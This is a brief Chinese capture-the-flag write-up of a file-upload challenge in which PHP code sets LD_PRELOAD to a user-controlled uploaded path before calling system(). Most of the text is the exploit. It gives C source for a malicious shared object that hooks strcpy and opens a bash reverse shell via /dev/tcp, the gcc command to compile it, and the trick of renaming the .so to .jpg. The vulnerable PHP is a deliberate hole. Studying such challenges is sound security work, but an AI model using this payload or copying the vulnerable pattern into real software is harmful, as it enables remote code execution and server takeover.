一道另类的文件上传,LD_PRELOAD
源码
$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "<br><img src=$img_path>";
}else{
system("echo Failed to load ");
}
}
上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以
上传一个文件,然后LD_PRELOAD
到这个恶意文件来执行命令获得flag
EXP
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
//反弹shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC exp.c -o exp.so
编译成so文件 然后修改后缀为jpg
然后就是反弹shell